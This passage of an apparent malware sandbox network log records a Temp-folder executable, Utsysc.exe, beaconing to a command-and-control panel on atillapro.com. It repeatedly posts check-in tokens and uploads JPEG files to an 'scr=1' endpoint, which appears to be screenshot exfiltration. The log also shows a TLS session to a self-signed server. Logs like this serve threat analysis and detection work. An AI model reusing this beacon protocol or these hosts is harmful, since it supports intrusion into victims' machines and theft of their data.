Apr 9, 2024 14:54:44.530261993 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:44.707596064 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:44.835680008 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:45.038006067 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49807	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:45.804085970 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:45.981422901 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:45.982151031 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:46.171194077 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Apr 9, 2024 14:54:46.219465971 CEST	173	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----MTA0MDMz Host: atillapro.com Content-Length: 104185 Cache-Control: no-cache
Apr 9, 2024 14:54:46.219465971 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4d 54 41 30 4d 44 4d 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------MTA0MDMzContent-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:46.219466925 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:46.219466925 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:46.219466925 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:46.219588041 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:46.219588041 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:46.219588041 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:46.219588041 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:46.219588995 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:46.219623089 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:47.693564892 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49808	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:46.477787971 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:46.656569004 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:46.659822941 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:46.842894077 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49809	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:47.145417929 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:47.323298931 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:47.323972940 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:47.521785021 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49810	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:47.802083969 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:47.979818106 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:47.989314079 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:48.179285049 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49811	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:48.186405897 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5Nzg= Host: atillapro.com Content-Length: 98130 Cache-Control: no-cache
Apr 9, 2024 14:54:48.186444044 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5Nzg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:48.186502934 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:48.186534882 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:48.186553001 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:48.186584949 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:48.186610937 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:48.186641932 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:48.186671019 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:48.186688900 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:48.186717033 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:49.975125074 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49812	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:48.540777922 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:48.718420982 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:48.722779989 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:48.904402018 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49813	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:49.194139957 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:49.373037100 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:49.373858929 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:49.571014881 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49814	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:49.865768909 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:50.043195963 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:50.043942928 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:50.231714964 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49815	216.250.255.115	80	940	C:\Windows\System32\OpenWith.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:50.178160906 CEST	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 66 15 3a 99 42 50 53 f3 8b 0d 9c e0 b1 15 52 91 62 f3 27 02 7c 98 9a c6 19 4d 1c 9c c9 ec 71 42 00 00 50 cc a8 cc a9 cc aa c0 2c c0 30 00 9f c0 24 c0 28 00 6b c0 0a c0 14 00 39 c0 2b c0 2f 00 9e c0 23 c0 27 00 67 Data Ascii: f:BPSRb'\|MqBP,0$(k9+/#'g3=52*.&</1)-%H#
Apr 9, 2024 14:54:50.335535049 CEST	1289	IN	Data Raw: 16 03 03 00 37 02 00 00 33 03 03 cb f0 98 7d 06 8f 52 e1 73 76 5e e8 9c 02 fc 54 9b a9 70 ca e7 59 d4 8f ba 06 db bf c0 37 9f 14 00 cc a8 00 00 0b ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 03 ab 0b 00 03 a7 00 03 a4 00 03 a1 30 82 03 9d 30 82 02 Data Ascii: 73}Rsv^TpY700A`.eVhe0*H0~10UXX10UN/A10UN/A1 0USelf-signed certificate110/U(216.250.255.115: Self-signed c
Apr 9, 2024 14:54:50.335549116 CEST	130	IN	Data Raw: a3 77 e3 e0 49 83 6f 04 0e ce 9e 1f e1 99 0b 9d e1 31 85 ea 61 12 1f 82 de 39 59 86 11 b4 46 7b ad 57 f3 d4 2f c6 37 5d b2 35 ce a9 d1 54 8e d8 8b 91 a1 b6 51 52 de e7 f6 72 ca 6d 07 6e 54 ec 49 3a 82 b6 4d 00 f8 19 9a 7d 8f 4b 85 85 22 33 19 9d Data Ascii: wIo1a9YF{W/7]5TQRrmnTI:M}K"3M.0~;W)m8Zf/w'}@
Apr 9, 2024 14:54:50.343604088 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 01 ca ff 7a 67 63 c1 eb c6 35 b5 91 92 2c 9e 9d b9 40 ae c3 8e c7 02 d1 e6 f6 a1 a6 4b 95 f9 bb da 35 ae fd 04 4b 8c 56 6a 57 04 58 0a 0e d0 f8 15 53 f9 d0 9f 66 fc 61 b6 71 37 c6 ac 61 02 64 82 73 01 d7 1e 7f bf Data Ascii: zgc5,@K5KVjWXSfaq7adsD{"{SMxAhIt\mA>YW7TG#3k)fh:o ?3iZC>a=C6&
Apr 9, 2024 14:54:50.532999992 CEST	43	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 20 8b f8 92 23 b7 8e ba 01 7c 11 31 98 91 4a 66 d9 1a 5f 60 8c 10 e0 56 c3 2a 3a d7 22 99 d4 c4 98 Data Ascii: #\|1Jf_`V*:"
Apr 9, 2024 14:54:50.542889118 CEST	526	OUT	Data Raw: 17 03 03 02 09 56 75 74 99 2a 6b c9 75 95 9d 0a 9c 7e 8a b0 93 e3 35 9a 47 c0 a9 19 94 2a 4a b7 ff c1 b2 ae f4 5c 29 4e 70 eb e2 af 0e 84 c1 c0 59 ef e2 54 6d f0 56 bb 8c 3d 68 74 d9 f6 13 24 2a ab 95 06 ba 08 f2 62 bd 84 24 6e bb e1 9a 7c f4 83 Data Ascii: Vutku~5GJ\)NpYTmV=ht$*b$n\| I6}:}aU5h#Iiv&`"vE7&3~a/=8SyH'j22V{'K_C8JT0tKYs\QC
Apr 9, 2024 14:54:50.694133997 CEST	177	IN	Data Raw: 17 03 03 00 ac ef 36 25 6e b8 37 02 ba 35 95 58 ba c2 da ae db 3f 90 cd 34 a3 eb 08 5b 65 40 0a 91 f3 c5 e6 72 ef c2 eb 97 00 a0 39 0f 64 13 4b 1c 9b 49 b2 d0 a0 8b ac 33 47 4d 8a 09 cb 97 1d 56 aa c2 9e ef 9b f3 ab b1 93 eb bc ed d2 33 07 08 0b Data Ascii: 6%n75X?4[e@r9dKI3GMV3L%^RhvLWF3Wo}x?VEKPOB!exw-R'n%lp
Apr 9, 2024 14:54:50.697005033 CEST	27	OUT	Data Raw: 17 03 03 00 16 6d 6b fd 70 06 de 11 77 7f 50 2b 62 be 09 d4 ce a5 d2 15 48 99 22 Data Ascii: mkpwP+bH"
Apr 9, 2024 14:54:50.848050117 CEST	136	OUT	Data Raw: 17 03 03 00 83 1e 51 35 10 d6 e8 83 aa bb f5 a6 57 20 8e 76 31 e3 6e 4a 5e 9f d2 ad 20 20 23 79 b4 6f 73 c0 77 12 e4 ba 0b 65 97 49 da 23 9e 91 20 b8 7a de 75 90 8c 16 31 46 af 47 87 57 f3 7a 8b 17 6e 3d a2 36 09 2f de a4 9e ec cb f1 fe c9 89 c2 Data Ascii: Q5W v1nJ^ #yosweI# zu1FGWzn=6/QWq-/orwi~%:"#~bCn{
Apr 9, 2024 14:54:51.002649069 CEST	119	IN	Data Raw: 17 03 03 00 72 00 52 ab 3f 28 df 0e 4a 25 4b 1a f0 0b 9c f2 f6 ef 60 a3 c1 f5 bb a1 d9 67 7a 36 a5 58 f2 ce 04 6f 0f 12 b9 8a 0d eb 74 fe a4 b7 83 dd b1 65 5c 71 38 d5 c1 65 dd 9e 47 45 2c ad 18 6d f6 e1 31 3a 55 7e 69 e6 b5 72 06 ff 62 b9 d9 08 Data Ascii: rR?(J%K`gz6Xote\q8eGE,m1:U~irbK\'CFY@'pIY3KBH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49816	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:50.405400991 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5Nzg= Host: atillapro.com Content-Length: 98130 Cache-Control: no-cache
Apr 9, 2024 14:54:50.405443907 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5Nzg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:50.405488014 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:50.405513048 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:50.405535936 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:50.405559063 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:50.405582905 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:50.405605078 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:50.405627012 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:50.405652046 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:50.405675888 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:52.191669941 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49817	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:50.553698063 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:50.730904102 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
